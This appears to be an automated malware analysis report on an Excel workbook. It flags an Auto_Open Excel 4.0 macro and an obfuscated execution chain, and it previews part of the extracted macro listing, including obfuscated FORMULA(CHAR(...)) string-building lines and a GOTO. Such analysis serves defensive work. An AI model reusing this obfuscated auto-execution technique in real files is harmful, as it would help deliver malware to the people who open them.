MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a common technique for executing malicious code upon opening the workbook. The heuristics indicate an obfuscated execution chain, suggesting the macros are designed to perform harmful actions. No specific URLs or further payloads were extracted, limiting the ability to identify a specific family or further IOCs.
Heuristics 3
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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Obfuscated XLM Auto_Open execution chain critical OLE_XLM_OBFUSCATED_AUTOEXEC_CHAINExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and an obfuscated formula execution chain. The macro builds strings through FORMULA(CHAR(...)), primes state with SET.VALUE / GET.CELL / GOTO, and transfers control through RUN(). This is a high-confidence XLM malware pattern.
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 129752 bytes |
SHA-256: 25d6eb1e1652ddd636d97ae711dc574ee4287deffaba1cd208461208ab2c9a5f |
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Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0085 14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - Sheet ' 0018 28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d Sheet!ED4088 ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' Sheet,Reference,Formula,Value ' Sheet,CY18,"",5.38709677419354804329 ' Sheet,GB26,"",1.39372822299651577538 ' Sheet,BT62,"",-343.00000000000000000000 ' Sheet,IE106,"",2.23369565217391308209 ' Sheet,R122,"",0.70000061035156246891 ' Sheet,FI146,"",0.45255474452554744769 ' Sheet,IB220,"",0.29974811083123426014 ' Sheet,T304,"",-4.47252747252747262507 ' Sheet,JG306,"",-88.50000000000000000000 ' Sheet,JA338,"",0.07984031936127744533 ' Sheet,FV386,"",0.16541353383458645698 ' Sheet,CI439,"",-262.00000000000000000000 ' Sheet,EJ501,"",0.28137254901960784270 ' Sheet,GD513,"",0.07984031936127744533 ' Sheet,CW515,"",-1.13725490196078427019 ' Sheet,HJ532,"",398.00000000000000000000 ' Sheet,JI547,"",5.33333333333333303727 ' Sheet,DT567,"",269.00000000000000000000 ' Sheet,BZ590,"",-401.00000000000000000000 ' Sheet,DR631,"",0.12974051896207583479 ' Sheet,IW656,"",0.71750061035156253997 ' Sheet,FP682,"",71.00000000000000000000 ' Sheet,N692,"",1367.00000000000000000000 ' Sheet,FX722,"",491.00000000000000000000 ' Sheet,N732,"",207.50000000000000000000 ' Sheet,FF738,"",171.50000000000000000000 ' Sheet,IU767,"",5.42857142857142882519 ' Sheet,CZ793,"",312.00000000000000000000 ' Sheet,DH800,"",-353.00000000000000000000 ' Sheet,IC841,"",0.41637010676156582800 ' Sheet,T1019,"",-131.50000000000000000000 ' Sheet,HU1082,"",348.00000000000000000000 ' Sheet,W1107,"",-0.31707317073170732113 ' Sheet,Q1114,"",-453.00000000000000000000 ' Sheet,CU1210,"",-377.00000000000000000000 ' Sheet,JU1300,"",-4.75294117647058822484 ' Sheet,FO1336,"",21.30001953125000113687 ' Sheet,HM1377,"",1.88532110091743110303 ' Sheet,H1384,"",0.15654205607476634476 ' Sheet,EF1389,"",138.40007812499999317879 ' Sheet,IP1400,"",0.39473684210526316374 ' Sheet,FP1566,"",-72.40000000000000568434 ' Sheet,GD1656,"",-0.26666666666666666297 ' Sheet,CF1698,"",169.80015624999998635758 ' Sheet,CY1759,"",1363.00000000000000000000 ' Sheet,EJ1779,"",0.23425692695214106465 ' Sheet,FH1814,"",-0.39215686274509803377 ' Sheet,FC1837,"FORMULA(CHAR(IY53362/BI27643)&CHAR(DK56707+IH50143)&CHAR(IY53362+IC3248)&CHAR(A41547+GO17452)&CHAR(EM54543-N60839)&CHAR(IT26078+Q30432)&CHAR(IT26078*BK26367)&CHAR(EM54543-HJ2575)&CHAR(DO63143+IY43406)&CHAR(EX58359-HH36360)&CHAR(FQ64485/JE21268)&CHAR(DK56707/II62007)&CHAR(GT53946*HF27740)&CHAR(FQ64485/EP12755)&CHAR(EM54543/IG25304)&CHAR(DK56707/DX47568)&CHAR(IW50424-EN48884)&CHAR(GT53946+IC15956)&CHAR(A41547+DT25282)&CHAR(DK56707/BA19724)&CHAR(IY53362*EW54949)&CHAR(DO63143/JG15766)&CHAR(A41547*JQ11264)&CHAR(IT26078+K27720)&CHAR(DK56707-CA52480)&CHAR(IW50424*GK62512)&CHAR(IY53362+JE48026)&CHAR(EM54543/HY32817)&CHAR(IT26078-U44286)&CHAR(EX58359-FM40630)&CHAR(FQ64485*BF28989)&CHAR(IW50424/DM32263)&CHAR(IY53362+BL32820)&CHAR(IY53362-FL38878)&CHAR(FQ64485/DE29585),FZ5919)","" ' Sheet,FC1838,GOTO(HG2714),"" ' Sheet,O1845,"",-344.00000000000000000000 ' Sheet,GV1860,"",429.00000000000000000000 ' Sheet,JA1861,"",-0.19930069930069929662 ' Sheet,HU1862,"",212.00000000000000000000 ' Sheet,DE1910,"",656.60062500000003637979 ' Sheet,FE1937,"",0.29934210526315790935 ' Sheet,HO1972,"",0.15065502183406112580 ' Sheet,IH2004,"",-1.62790697674418605168 ' Sheet,O2042,"",365.00000000000000000000 ' Sheet,JP2085,"",5.32000488281250039080 ' Sheet,JO2105,"",-374.00000000000000000000 ' Sheet,IK2141,"",181.00000000000000000000 ' Sheet,FE2157,"",-4.07000244140624989342 ' Sheet,GF2199,"FORMULA(CHAR(X59156/HX27248)&CHAR(X59156/CK39218)&CHAR(ER46498/CZ43184)&CHAR(FX19065*GZ63120)&CHAR(FH50788*JK42705)&CHAR(FY26599-JI17720)&CHAR(FX19065*GU27709)&CHAR(FX19065/CC36354)&CHAR(FX19065/CH59666)&CHA ... (truncated) |
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